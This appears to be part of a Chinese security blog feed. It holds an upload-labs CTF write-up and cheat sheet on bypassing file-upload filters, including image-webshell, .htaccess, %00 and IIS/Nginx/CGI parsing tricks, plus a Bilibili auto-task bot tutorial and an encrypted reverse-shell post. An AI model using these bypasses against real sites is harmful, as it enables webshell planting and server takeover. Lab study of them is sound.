class="string">&#x27;png&#x27;</span>]</span><br></pre></td></tr></table></figure><p>这样执行完最后的拼接文件名的代码后：</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">$file_name = reset($file) . <span class="string">&#x27;.&#x27;</span> . $file[count($file) - <span class="number">1</span>];</span><br><span class="line">$file_name = <span class="string">&#x27;shell.php/&#x27;</span> . <span class="string">&#x27;.&#x27;</span> . $file[<span class="number">2</span> - <span class="number">1</span>]; = <span class="string">&#x27;shell.php/&#x27;</span>.<span class="string">&#x27;&#x27;</span> = <span class="string">&#x27;shell.php/.&#x27;</span></span><br></pre></td></tr></table></figure><p>这样最后一步：</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">move_uploaded_file($temp_file, $img_path)</span><br><span class="line">move_uploaded_file($temp_file, <span class="string">&#x27;xx/xx/shell/php/.&#x27;</span>)  </span><br></pre></td></tr></table></figure><p>结合前面的 move_uploaded_file 函数缺陷，会忽略掉文件末尾的 <code>/.</code>，所以最终就可以成功将 webshell 上传。</p><h2 id="Bypass-12"><a href="#Bypass-12" class="headerlink" title="Bypass"></a>Bypass</h2><p>抓包构造数据包：</p><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20201204171909.png" alt="image-20201204171908967"></p><p>上传成功：</p><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20201204172027.png" alt="image-20201204172027238"></p><hr><h1 id="文件上传漏洞"><a href="#文件上传漏洞" class="headerlink" title="文件上传漏洞"></a>文件上传漏洞</h1><p> <strong>文件上传，顾名思义就是上传文件的功能行为，之所以会被发展为危害严重的漏洞，是程序没有对访客提交的数据进行检验或者过滤不严，可以直接提交修改过的数据绕过扩展名的检验。文件上传漏洞是漏洞中最为简单猖獗的利用形式，一般只要能上传获取地址，可执行文件被解析就可以获取系统WebShell。</strong></p><h2 id="本质"><a href="#本质" class="headerlink" title="本质"></a>本质</h2><p><strong>上传文件时，如果服务端代码没有对客户端上传的文件进行严格的验证和过滤， 就容易造成可以上传任意文件的情况，包括上传脚本文件(asp、aspx、php、jsp等格式的文件)。</strong></p><h2 id="条件"><a href="#条件" class="headerlink" title="条件"></a>条件</h2><ul><li><strong>首先，上传的文件能够被 Web 容器解释执行。所以文件上传后所在的目录要是 Web 容器所覆盖到的路径。</strong></li><li><strong>其次，用户能够从 Web 上访问这个文件。如果文件上传了，但用户无法通过 Web 访问，或者无法使得 Web容器解释这个脚本，那么也不能称之为漏洞。</strong></li><li><strong>最后，用户上传的文件若被安全检查、格式化、图片压缩等功能改变了内容，则也可能导致攻击不成功。</strong></li></ul><h2 id="危害"><a href="#危害" class="headerlink" title="危害"></a>危害</h2><p><strong>上传WebShell 控制整个网站，甚至控制服务器</strong></p><h2 id="防御方法"><a href="#防御方法" class="headerlink" title="防御方法"></a>防御方法</h2><p><strong>1、严格规范文件上传处理逻辑设计，不建议先存储后判断的方式，以免引起条件竞争类漏洞。</strong><br><strong>2、严格检查上传的文件后缀名、Content-Type、文件内容等。</strong><br><strong>3、定时修复服务器端的解析类漏洞，以及文件包含类漏洞避免漏洞组合。</strong></p><h2 id="ByPass-技巧"><a href="#ByPass-技巧" class="headerlink" title="ByPass 技巧"></a>ByPass 技巧</h2><h3 id="1-客户端校验绕过"><a href="#1-客户端校验绕过" class="headerlink" title="1.客户端校验绕过"></a>1.客户端校验绕过</h3><ul><li>直接修改 js 代码或者使用抓包的方法修改请求内容绕过，可以先上传一个gif木马，通过抓包修改为 jsp/php/asp。</li><li>关闭 js 尝试绕过</li></ul><h3 id="2-服务端绕过"><a href="#2-服务端绕过" class="headerlink" title="2.服务端绕过"></a>2.服务端绕过</h3><ul><li>通过抓包来修改Http头的content-type绕过</li><li>图片马：<code>copy pic.jpg/b+shell.php/a shell.jpg</code></li></ul><h3 id="3-黑名单绕过"><a href="#3-黑名单绕过" class="headerlink" title="3.黑名单绕过"></a>3.黑名单绕过</h3><ul><li>将后缀改为<code>php.</code>  <code>php_</code>  <code>php4</code> <code>phptml</code> <code>php空格</code> 再上传</li><li>使用<code>%00</code>截断：<code>/var/www/html/upload/shell.php%00 shell.png </code> </li><li>双写绕过：上传的文件名为<code>shell.pphphp</code>，那么被替换之后就为<code>shell.php</code></li></ul><h3 id="4-htaccess文件绕过"><a href="#4-htaccess文件绕过" class="headerlink" title="4.htaccess文件绕过"></a>4.htaccess文件绕过</h3><ul><li>先上传一个名为<code>.htaccess</code>的文件，内容为：<code>AddType application/x-httpd-php .png</code></li><li>让 png 后缀的文件当做 PHP 来解析</li></ul><h2 id="IIS6-0解析漏洞"><a href="#IIS6-0解析漏洞" class="headerlink" title="IIS6.0解析漏洞"></a>IIS6.0解析漏洞</h2><ol><li><p><strong>IIS6.0除了将ASP后缀当做ASP进行解析的同时，当文件后缀名字为.asa .cer .cdx 也会当做asp去解析，这是因为IIS6.0在应用程序扩展中默认设置了.asa .cer .cdx 都会调用 asp.dll</strong></p></li><li><p><strong>很多地方都会用到“;”，作用是结束，IIS6.0在这就是一个漏洞了。例如：上传a.asp;jpg，服务器就会将它作为asp去执行，但是这个文件的名称依旧是：a.asp;jpg，只是在执行的过程中，web容器解析的锅</strong></p></li><li><p><strong>另一种解析漏洞就是“/”，例如：命名为 <code>a.asp/123.jpg</code>，简单的说这相当于构建了一个新的文件夹<code>a.asp</code>，凡是这个里的文件都会以asp去执行（&lt;7.5都有）</strong></p></li></ol><h2 id="Nginx-解析漏洞"><a href="#Nginx-解析漏洞" class="headerlink" title="Nginx 解析漏洞"></a>Nginx 解析漏洞</h2><p><strong>Nginx &lt;=0.8.37</strong></p><p>在Fast-CGI关闭的情况下，Nginx &lt;=0.8.37 依然存在解析漏洞</p><p>在一个文件路径(/xx.jpg)后面加上.php会将 /xx.jpg.php 解析为 php 文件。</p><p>（站长评论：从 /test.jpg/x.php 演变过来的，具体可以参考：Ngnix 空字节可远程执行代码漏洞）</p><h2 id="CGI解析漏洞"><a href="#CGI解析漏洞" class="headerlink" title="CGI解析漏洞"></a>CGI解析漏洞</h2><p>CGI简单的说，可以理解为是web服务器和独立程序之间的管家：服务器将a类型文件，交给CGI，CGI交给处理a类型文件的程序。</p><h3 id="过程："><a href="#过程：" class="headerlink" title="过程："></a>过程：</h3><ol><li><strong>上传图片马，不用改变图片马的名称，假如上传<code>1.jpg</code></strong></li><li><strong>访问图片马文件位置，比如<code>www.aaa.com/bbb/ccc/1.jpg</code></strong></li><li><strong>在文件路径补充：“/.php”，即<code>www.aaa.com/bbb/ccc/1.jpg/.php</code></strong></li><li><strong>访问该路径验证：<code>www.aaa.com/bbb/ccc/1.jpg/.php=phpinfo();</code></strong></li></ol><h3 id="原理"><a href="#原理" class="headerlink" title="原理"></a>原理</h3><p><strong>CGI一看是php后缀结尾，便给php程序去执行，php去找名字为“ 1.jpg”的文件夹，没找到，便去找“1.jpg”的文件，找到后执行。</strong></p><p><strong>漏洞本质：少了在次检测的环节。</strong></p><hr><h1 id="参考资料"><a href="#参考资料" class="headerlink" title="参考资料"></a>参考资料</h1><p><strong>国光的保姆级 WriteUp：</strong></p><p><strong><a href="https://github.com/sqlsec/upload-labs-docker/blob/main/WP.md">https://github.com/sqlsec/upload-labs-docker/blob/main/WP.md</a></strong></p>]]></content>
    
    
      
      
    <summary type="html">&lt;h1 id=&quot;前言&quot;&gt;&lt;a href=&quot;#前言&quot; class=&quot;headerlink&quot; title=&quot;前言&quot;&gt;&lt;/a&gt;前言&lt;/h1&gt;&lt;p&gt;在 11月打 HW 的时候，遇到了一个靶标服务器二次渲染的文件上传点，因为之前没仔细研究没能拿到权限，还是有点遗憾的。而且 Getshell</summary>
      
    
    
    
    <category term="Note" scheme="https://www.lintstar.top/categories/Note/"/>
    
    
    <category term="Vulnerability" scheme="https://www.lintstar.top/tags/Vulnerability/"/>
    
    <category term="Upload" scheme="https://www.lintstar.top/tags/Upload/"/>
    
    <category term="Docker" scheme="https://www.lintstar.top/tags/Docker/"/>
    
    <category term="CTF" scheme="https://www.lintstar.top/tags/CTF/"/>
    
  </entry>
  
  <entry>
    <title>Github Action 实现自动升级 Bilibili Lv6</title>
    <link href="https://www.lintstar.top/2020/11/560e14cb.html"/>
    <id>https://www.lintstar.top/2020/11/560e14cb.html</id>
    <published>2020-11-28T14:16:58.000Z</published>
    <updated>2023-11-09T07:40:38.119Z</updated>
    
    <content type="html"><![CDATA[<h1 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h1><p><strong>不知不觉已经是在B 站的第1003天了：</strong></p><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20201129004250.png" alt="image-20201129004250821"></p><blockquote><p><strong>B 站进入创作中心右上角可以看到自己账号多久了哦 ~</strong></p></blockquote><p><strong>再看看我的等级：</strong></p><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20201128172350.png" alt="image-20201128172350356"></p><p><strong>诶呦好惭愧 我怎么还没有成为6级大佬 🐶</strong></p><p><strong>恰巧今天偶然间翻到了这个：</strong></p><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20201128172108.png" alt="image-20201128172108803"></p><p><strong>简介：</strong></p><blockquote><p><strong>这是一个利用 Linux Crontab , GitHub Action 等方式实现哔哩哔哩（Bilibili）每日任务投币，点赞，分享视频，直播签到，银瓜子兑换硬币，漫画每日签到，简单配置即可每日轻松获取 65 经验值，快来和我一起成为 Lv6 吧<del>~</del></strong></p></blockquote><p><strong>这六级不是指日可待嘛</strong></p><h1 id="BILIBILI-HELPER"><a href="#BILIBILI-HELPER" class="headerlink" title="BILIBILI-HELPER"></a>BILIBILI-HELPER</h1><p><strong>仓库地址：<a href="https://github.com/JunzhouLiu/BILIBILI-HELPER">https://github.com/JunzhouLiu/BILIBILI-HELPER</a></strong></p><p><strong>功能列表：</strong></p><ul><li>每天上午 9 点 10 分自动开始任务。<em>【运行时间可自定义】</em></li><li>哔哩哔哩漫画每日自动签到 。</li><li>每日自动从热门视频中随机观看 1 个视频，分享一个视频。</li><li>每日从热门视频中选取 5 个进行智能投币 <em>【如果投币不能获得经验，默认不投币】</em></li><li>投币支持下次一定啦，可自定义每日投币数量。<em>【如果检测到你已经投过币了，则不会投币】</em></li><li>大会员月底使用快到期的 B币券，给自己充电，一点也不会浪费哦，默认开启。<em>【可配置】</em></li><li>大会员月初 1 号自动领取每月 5 张 B币券 和福利。</li><li>每日哔哩哔哩直播自动签到，领取签到奖励。<em>【直播你可以不看，但是奖励咱们一定要领】</em></li><li>通过server酱推送执行结果到微信。</li><li>投币策略更新可配置投币喜好。<em>【可配置优先给关注的up投币】</em></li></ul><h1 id="开始部署"><a href="#开始部署" class="headerlink" title="开始部署"></a>开始部署</h1><blockquote><p><strong>部署过程中还做了一点点贡献 2333</strong></p></blockquote><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20201128224359.png" alt="image-20201128224359715"></p><h1 id="Fork-仓库"><a href="#Fork-仓库" class="headerlink" title="Fork 仓库"></a>Fork 仓库</h1><p><strong>首先要把仓库 Fork 下来进一步配置</strong></p><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20201128225942.png" alt="image-20201128225942107"></p><h1 id="添加-Secrets"><a href="#添加-Secrets" class="headerlink" title="添加 Secrets"></a>添加 Secrets</h1><p><strong>首先登录 B 站：<a href="https://www.bilibili.com/">https://www.bilibili.com/</a></strong></p><p><strong>F12 Chrome 会弹出开发者工具 获取三个 Cookie 中的值：</strong></p><ul><li><strong>SESSDATA</strong></li><li><strong>BILI_JCT</strong></li><li><strong>DEDEUSERID</strong></li></ul><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20201128174104.png" alt="image-20201128174104442"></p><p><strong>添加到下图位置：</strong></p><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20201128230531.png" alt="image-20201128230531578"></p><h1 id="配置自定义功能"><a href="#配置自定义功能" class="headerlink" title="配置自定义功能"></a>配置自定义功能</h1><p><strong>配置文件位于 <code>src/main/resources/config.json</code></strong></p><p><strong>参数示例</strong></p><table><thead><tr><th>Key</th><th>Value</th><th>说明</th></tr></thead><tbody><tr><td>numberOfCoins</td><td>[0,5]</td><td>每日投币数量，默认 5</td></tr><tr><td>selectLike</td><td>[0,1]</td><td>投币时是否点赞，默认 0  <code>0：否 </code> <code>1：是</code></td></tr><tr><td>monthEndAutoCharge</td><td>[false,true]</td><td>年度大会员月底是否用 B币券 给自己充电，默认 <code>true</code></td></tr><tr><td>devicePlatform</td><td>[ios,android]</td><td>手机端漫画签到时的平台，建议选择你设备的平台 ，默认 <code>ios</code></td></tr><tr><td>coinAddPriority</td><td>[0,1]</td><td>0：优先给热榜视频投币，1：优先给关注的up投币</td></tr><tr><td>userAgent</td><td>浏览器UA</td><td>用户可根据部署平台配置，可根据userAgent参数列表自由选取，如果触发了HTTP/1.1 412 Precondition Failed也请修改UA</td></tr></tbody></table><blockquote><p><strong>如果尝试给关注的 up 投币十次后（保不准关注的是年更up主），还没完成每日投币任务，则会切换成热榜模式，给热榜视频投币。</strong></p><p><strong>投币数量代码做了处理，如果本日投币不能获得经验了，则不会投币，每天只投能获得经验的硬币。</strong></p><p><strong>假设你设置每日投币 3 个，早上 7 点你自己投了 2 个硬币，则十点半时，程序只会投 1 个。</strong></p></blockquote><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20201128232050.png" alt="image-20201128232050472"></p><h1 id="专属管家-Server-Chan"><a href="#专属管家-Server-Chan" class="headerlink" title="专属管家 Server Chan"></a>专属管家 Server Chan</h1><p><strong>在上面配置 Secrets 的地方新建变量 SERVERPUSHKEY</strong></p><p><strong>Github 一键登录 <a href="http://sc.ftqq.com/3.version">ServerChan</a> 复制自己的专属 Key</strong></p><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20201128233900.png" alt="image-20201128233900007"></p><h1 id="开启-Actions-设置每日自动执行"><a href="#开启-Actions-设置每日自动执行" class="headerlink" title="开启 Actions 设置每日自动执行"></a>开启 Actions 设置每日自动执行</h1><p><strong>Fork 仓库后，GitHub 默认不自动执行 Actions 任务</strong></p><p><strong>修改 <code>.github/trigger.json</code> 文件,将 <code>trigger</code> 的值改为 <code>1</code>，这样每天就会自动执行定时任务了。</strong></p><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20201128234920.png" alt="image-20201128234920534"></p><p><strong>修改每日任务执行的时间 位置在<code>.github/workflows/auto_task_bilili.yml</code> 第 11 行</strong></p><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20201129000316.png" alt="image-20201129000316255"></p><p> <strong><code>30 14 * * *</code> 表示每天晚上22点30执行</strong></p><p> <strong>crontab 表达式，Actions 时区是 UTC 时间，所以晚上10点要往前推8个小时。</strong></p><h1 id="crontab-定时任务"><a href="#crontab-定时任务" class="headerlink" title="crontab 定时任务"></a>crontab 定时任务</h1><p><strong>腾讯云函数、Github Action 甚至是反弹 Shell 都用得到的神器</strong></p><p><strong>编辑定时任务 填写的内容如下：</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 分 时 日 月 星期</span></span><br><span class="line">30 9 * * *</span><br></pre></td></tr></table></figure><p><strong>表示每天 9:30 自动执行</strong></p><h2 id="crontab-实例"><a href="#crontab-实例" class="headerlink" title="crontab 实例"></a>crontab 实例</h2><p><strong>实例1：每 1 分钟执行一次</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">* * * * *</span><br></pre></td></tr></table></figure><p><strong>实例2：每小时的第 3 和第 15 分钟执行</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">3,15 * * * *</span><br></pre></td></tr></table></figure><p><strong>实例3：在上午 8 点到 10 点的第 3 和第 15 分钟执行</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">3,15 8-10 * * * </span><br></pre></td></tr></table></figure><p><strong>实例4：每隔两天的上午 8 点到 10 点的第 3 和第 15 分钟执行</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">3,15 8-10 */2  *  *</span><br></pre></td></tr></table></figure><p><strong>实例5：每周六、周日的 8 : 10 执行</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">10 8 * * 6,0 </span><br></pre></td></tr></table></figure><p><strong>实例6：每天 18 : 00 至 23 : 00 之间每隔 30 分钟执行一次</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">0,30 18-23 * * * </span><br></pre></td></tr></table></figure><h1 id="Github-Action-执行工作流"><a href="#Github-Action-执行工作流" class="headerlink" title="Github Action 执行工作流"></a>Github Action 执行工作流</h1><p><strong>Github Actions 默认处于关闭状态，手动开启 Actions ，执行一次工作流，验证是否可以正常工作。</strong></p><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20201128234700.png" alt="image-20201128234700804"></p><p><strong>可以看到工作日志：</strong></p><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20201128235647.png" alt="image-20201128235647419"></p><blockquote><p><strong>展开 <code>Build With Maven</code> 通过 <code>DEBUG</code> 标签快速过滤日志，查看运行状态</strong></p></blockquote><h1 id="最终效果"><a href="#最终效果" class="headerlink" title="最终效果"></a>最终效果</h1><p><strong>每天坐等65经验 从此快人一步</strong> 🚀 </p><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20201129002157.png" alt="image-20201129002157889"></p><blockquote><p><strong>“按照当前进度，升级到升级到Lv6还需要: 268天’’</strong></p></blockquote><p><strong>好漫长嗷  睡觉了 晚安  ~</strong> </p><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20201129002648.png" alt="image-20201129002647974"></p>]]></content>
    
    
      
      
    <summary type="html">&lt;h1 id=&quot;前言&quot;&gt;&lt;a href=&quot;#前言&quot; class=&quot;headerlink&quot; title=&quot;前言&quot;&gt;&lt;/a&gt;前言&lt;/h1&gt;&lt;p&gt;&lt;strong&gt;不知不觉已经是在B 站的第1003天了：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src= &quot;/img/loading.g</summary>
      
    
    
    
    <category term="Fun" scheme="https://www.lintstar.top/categories/Fun/"/>
    
    
    <category term="ServerChan" scheme="https://www.lintstar.top/tags/ServerChan/"/>
    
    <category term="Crontab" scheme="https://www.lintstar.top/tags/Crontab/"/>
    
    <category term="GithubAction" scheme="https://www.lintstar.top/tags/GithubAction/"/>
    
    <category term="Bilibili" scheme="https://www.lintstar.top/tags/Bilibili/"/>
    
  </entry>
  
  <entry>
    <title>记一次测试后各种方式反弹 Shell 总结</title>
    <link href="https://www.lintstar.top/2020/11/f4e7c088.html"/>
    <id>https://www.lintstar.top/2020/11/f4e7c088.html</id>
    <published>2020-11-27T11:16:58.000Z</published>
    <updated>2023-11-09T07:40:38.119Z</updated>
    
    <content type="html"><![CDATA[<div id="hexo-blog-encrypt" data-wpm="Oh, this is an invalid password. Check and try again, please." data-whm="OOPS, these decrypted content may changed, but you can still have a look.">  <div class="hbe-input-container">  <input type="password" id="hbePass" placeholder="" />    <label for="hbePass">本文已加密 <br></label>    <div class="bottom-line"></div>  </div>  <script id="hbeData" type="hbeData" data-hmacdigest="2ec3d31d9577a3366984600d3f360e533a0453ba68041a8f7235f52d70e95b04">be06c056fd2c9468abc1e7921ebefdabdce40e40d0f78772ef7e1a57ca438f5cc8fa027bd401db41f9859d5802fcf249a478fb0de24ba2a9f01bcada8cd7b395ee1ebb3a739c8693c5e00dde80985120c86f02896a0ed69df868a5b97c5615401dee05103f9d23e0d4e9ce860b604d3f6d1171f6c58ee70ce0db41ce30de769c610894aeea5782cdda8fa654a9b01dcb8b28bec44b15f377608a65bfbc0f81079abf944a3ac7dd160a8d585f0e2e73a4d454f76a8291499be52bb800014924439af80b854693173e70ff9b89063477edb838f718654565d7a30f160051fe0dbee2c6b387e2c104a698b5be31d49c7a189f2e0627ff88e15cadfbbf3bf7b290493b428d29c5d0f7eafc6b5f88a509dd422f53e3ae4eee6244c74ef22c2cbe4a159bcdcf73f1a534e36a336e7587100cf88cbc8f8ec01e2aa614273377bcd943d9667b26a80769e8f3f6808c894089bac2c10de7532801a04595d5e6034bb3ce852f73e1be77dd09e29a399511c216e6afc2818fc760abca12f5e08c33c14a01699e4e69f45d86a1420a5fa5e59c1da62f73ff0d6b6952dd28d9ced590dcbe7050baf3a48ecec1055f2c9df10ca68e3a2878324da1a4c56b9c8f7aa71f6ef5d25897f567e0209a0ecd0aeea28efdb37ca75ac627a16bac8461f32ec2c8fdbdb20303fde3a6e3327d3de75bc2f823913d9206a6eda202f273f08b3ea4c59b956a9949040515ca5eb2b55b58bc5ad4856c0af72fd791ee570b510a52b6412e8b7225a83d36598261c7c9a3fe9bd5909effefced2d7ee06e1ec5714c42a9eec00f117a49cd6cbac916bc47712dbc99d94bf995022db9f28bb7e04e41d70556ae11608c68c7d6b2624dcf9af8bd1af593c32716a869619896d62e1cb2f9a256ea205f132c312adb7ca0f304466e258075f6685f4c07282ab75eb43b6b88a7d45d9f18bb1665a38f13c02a129681d1b72b4ad1005d7386bbac1e11c8c571801f5f02a618baeb457af2e5e1d76b0de4ce3324c914bc9a0c67e21d3e34418cb0187cb21820e9749d5b5cb13b4e4732d117dc85f9012cf8a21b7179aae14ddd0674f1f7b975be66538b5de3b8b720b61d687e9819935f5d326c295be0313c8f9734b88dc924d096f5237113843428de8d177e9fcca82f2515f9c870913ce427dc936c715412ebd244525cc5fb43d38b728963b86162794d3391232f40b89e6b7cbaa569d42092840c9deb601c277ec65c477ea6b84b2fe9097be5c6218b06f575c4c6f5bb58ca25153535eafbddcc468277852ea9a0d048a4907a6e162cd5279263216e3aa868695526d94d1fad38698e81a3b836bd6138cc3cbf46cba9485981c0d370a45046c3087d165572c38e78c0b739490675560b7c3a55411f4be1fadbb2925a1acad9eb375bffb696c803f4712f1d6dd3f6f5dab898ba23d3fe8b01dde1116e4be49c1f40275cb509fbd4355400c4a90522fb94812597b708320878a09036c73c308bb376d1b95616529d8e7352ca0879912603dbe5904b464d8b1e06d33312cd2aa168f87e9c66de7ca251f6b29d18db7f967ed4a3365019cce0f42bb10b443c63c925831a22c3c6718b064f3a8942a7bf90f1d066736d12e433bc022388907e79fabd9626aec144ca4a7e4d60a4e651da1060d571be4f0d9c138d532b7e77f5fc43b6e45a9d6a59d519535ae443c018914366b166ea8d5184e1ac886d6c5baf1bd497e7aceeedafb15f0dc0cf715481ff34ac6d04a900619e3b3adf8e1bb79ae5fe793438c67c6fa8d78efd46de8dbd16d82c559854fe935b114c22420699a5ba9b35f117fa4007d8a6371ba994d9ede4a07510167d7a3de13ee1444bdbc919e233ff3733c60317d3df0401c3b3f7728839d299fa22c3de1495c88ab02fd1d8b21a389748bebe71ae935beae08baf510008151ab665d34099d55a60588a493ed8b2bf1337f35f985c2bc78953534aabb5ba706bdae1a1a89c6d769733f4c193ba84f95b420d94429e83c9198bd9451b2ccbc9c6598e986ee3594be3972448c96be2b3110017d8e7502e51ffa1dad93d16fa640d8486e42039c89d94b2391009d85381a5920b6a2ccb566b81e8b08db673803280c899b20c7659e5eb2984a0c4f7a6d2beed0880754bae15e7db136ebcbf13d842711bd607293866a1119a71352cc41b3a62af1d4c72dabf2f84b5e897c4bbb52c2ac9af93688e14e531def5521ce371b14b169c67087be63c01e7f6a67043a79304636b96d659d404e38dea8b0001542091d2b6b7c4a93961766fd70725d33fcc16f13d1889d80ef3400d680ac776652e57b675438742d5eafaa834ab92b47e608904abd83d3730dd87135693ecbe4ee2a8478f42767a8038a96f9ee72e97f31f7f33e49a80cfec7210cf979957fe72d56ea927cf9ba67c19286fba4500233b2c85bc8a166731e4fbc3b530b562dfdbd60b9316f4cf1cf49b94feccac2e0ee69a1052daffdf75e639e26ec9ca4f4f837287b9aac6a3ace4de0b5bc0fee6fa1e9d75cced1fcfe4e915c07f4fc439f9547e6e9a7a07bb86d3902a84f6d51c8186dbe5a7088614f376b082a470c73cbb03790f7f414778c6ae89591311c169ca09a883fadf9dbd032059c364b0e1c82e62d67ca16dcfefd472afb59d8b99b4195d3e0b64c3997541e0b7b0f3acd016da746daf598412b44b48c0246c8a2c2976e1eda52d36c07dd1cc57438c78e11ddc3f28a558f0607b61010ca3e7397e9ef6590e56245c9e066a35965fb903da44facb4e1443a52322e6d7593a02ea1db2f5c89b1addcb14d4f6c02a276ec6bb581c056f127c01b8c1afe6c7c5b620978a9539464f4dfa32e12575d6b0ed6839f5f050592bfe1e9f1f898eae5e2d024fef9a3cf1ca24b74cefcc741505d91d64137bbcbc1c22af07645dae1fefc6da5cd0f50fce71a683588667c8876ae207e0b56fe49186f6d95d10e96111e2648d4bb58ff0161742331b87ca9b394665eff5c5c796e9d0c570122e18103e475f4a5167e2b6f96fcd2bb4c1ace6afbda9a9f2f22affb5b258103dd25243c7a034c7954d9304ef2502ff4abda1883319c7052c60440471c5bf3607aecac40f4c0a6de3b70859d948fbdce7e32b6fe7839a0ec89e26c9d359ebc49c89e1cf040aeb2572bfbdd00b613cbf821ed6397c5b2adb823960e7f272b25264d21f3d714a2a4baa83815d8a875bec38ba31d4482d4b02069ffcf8b0083d8bf16e1d5043691f8288b9b4bb3a4b696f904ac17f04e5c6ff355de149830853215b0db81e37e24c13ca76b2326e0b721d600cda039789ddfa3f1094b75f3dee33688bb34375a9e36de6e8a212a8c1bfcf826d2ab67734399d91de2c57ceddf6ff33fe03e5541b766221b59f319f12b036e774f75a8d1b8d877a9fe4ec813c6b0d86786f016c4da358cf18582b30d66da142987923a5e50dea3309f9bd390b530af4faa3289159fd12d02a6ed6a90365f70ef44eab7ef3ee9c762c9881a802a0e65f81e0287210791b86af722f1e83eb7e3102b605f6e3849ef7eadf1c93149aefb3b9d1ded0ee6bacf36b6340516ecaddbdccb94a95358be8cde2127dab3166ac44080694af45c996f99d2e7881d0a4a91811231aae0b5d54433b426e0a21fca29f715d770327c8a055ac11a721c0183020b938958fc26c8026f5e3b8bb3d4da336ebffa68f8d025656b3e34751acd67dc74a68087a13c9d8037da577b5bb3ea48d322a63971479b3b11d3ab48e312bbe5dc83a7aab63d7f52688dc09318621a1bb5a9a65b40b29574125c0c21f56f3c34efa3c441520572dbf58e49e2a0075be6e3bfd4cef5de47ae14e72b999a8c81ebcaea2db008c57dc1001c487f95621bee3a95e143583a2e6fabc9951fb3dfd3ca5f95f1abb9768d17b573532fa8cede46fdc5ada04f9e03fd4378947dbb6261ac3a70d940df4e46b308b3489777d0513b4e7e153fd4b7c9ba241fa9df428a5da71f07f09186f47ad6d570e0b1adf2a29fb36ebb40f288c2a92d9d096a65ebb1e3b30a9bfeb596f8c788a2157261dc7c3804608e376eda4038513efe687f8f80f2b05db6308629db4d08418f7da64ed48b17f8c5c0e85b07b41fa51131fd386ea28a299ac2bae06a5340dda3defe35859917f24d78748b930581add3d6c50dd18541fe93788c2b8ae9f544f3de94f65ac4e06f95b010bde57564b565819dda5eb46ef2a0765f271b9b5193ed0e3e84b598573ba2249b2564668808c24685c2b8871b9faffe2faa5cd04e55acab8d9cdf9a813058d272ddfdc94b7adb405780b8a0fd24062b843c97ed5c8dfe77021611572a93331f99328b800067ba07ea3a3a56b06a7eaed04769674fcd069edf6a70dc382d26088de49eb3a05f597b0b88f905c91c230c776f87f56fd2d7ca627f991b89695cf4123d18098fd493aecef7c14a0fe181233f3211b2c82f7ed9a02c620eabd1e6f239b0985be505003f263e380f4faa28a2548e787f79e0b9081171733253df3d71e27a3d54b50a3a921131751a95512aa342fc5b0158491f9914f4ac37de87394e574782c7c64d8c61d044caaad537a1d230e837f1474d312e1a04c853093b3dbe9bcd4f4e34eec17f3eebdad9f63aa74f634b389a235bb5ec58c8617f4b68650640f7aab117508468963458b57b3b5593d133eaabe47fd315fae536806266e411bb7ccde32ab96ad3b18cd6e959f6c672774073a7a5bec3c2bc9fa8e593ab9fab7a05d1d03eaa4fa35cec005f09570c96bc4143678173516e639ccb95b79184c267998461cde6e0c6e299aaa6e2225170c8dd3fb74b7988a1503de1a941df3be764f52fd3870acde1b2e0aa5703f3855836515e66049e7e0b7865841d654ae0c2f4033a23996af10693d7ab74ad365d7c36152bfd6fb2a40a9e92855d00f3b56c5939c9c50d96e38279453bd64726447f8e753021e124083d102a1d5f7a1675ec38fbf910c93e1c051b031ac59df6699e6cc531a6239f00c3b7a0b068009f2e96f527cccb9f6484019730528dbe9fbd34f24853a7de42c9a90568e90e0b69073b99816007a37d091595e4964c0a3ddb28f4ee4471c192376be263dcfe75b404d6336bbe6393c483369f08a14f4949ce3924eb642ae0aa39904c9e8cbae9eb0ec5c11babbc7fc251253e18b544fe3f467813cf067fd7f8c268d241476fe970803bf0cd3fb122856d1571b1f378b96fcacbc363d38a66abd36334c85b541178b01d0f3631a03337b153a02877f88d170d97b5b35982df33ecb2d6081ace2efd4b5d015bebc4823133389fd5b21e001d3485f9552bc78228904c65ba44f3d8160e54053add1a8d416fc0cb57c4d69b908c361ef7359051f60d21828eff888834312c6ecb7213d5122fbdf5662929c066a6c6a9d573f42897674c5a5e02a4613620eaf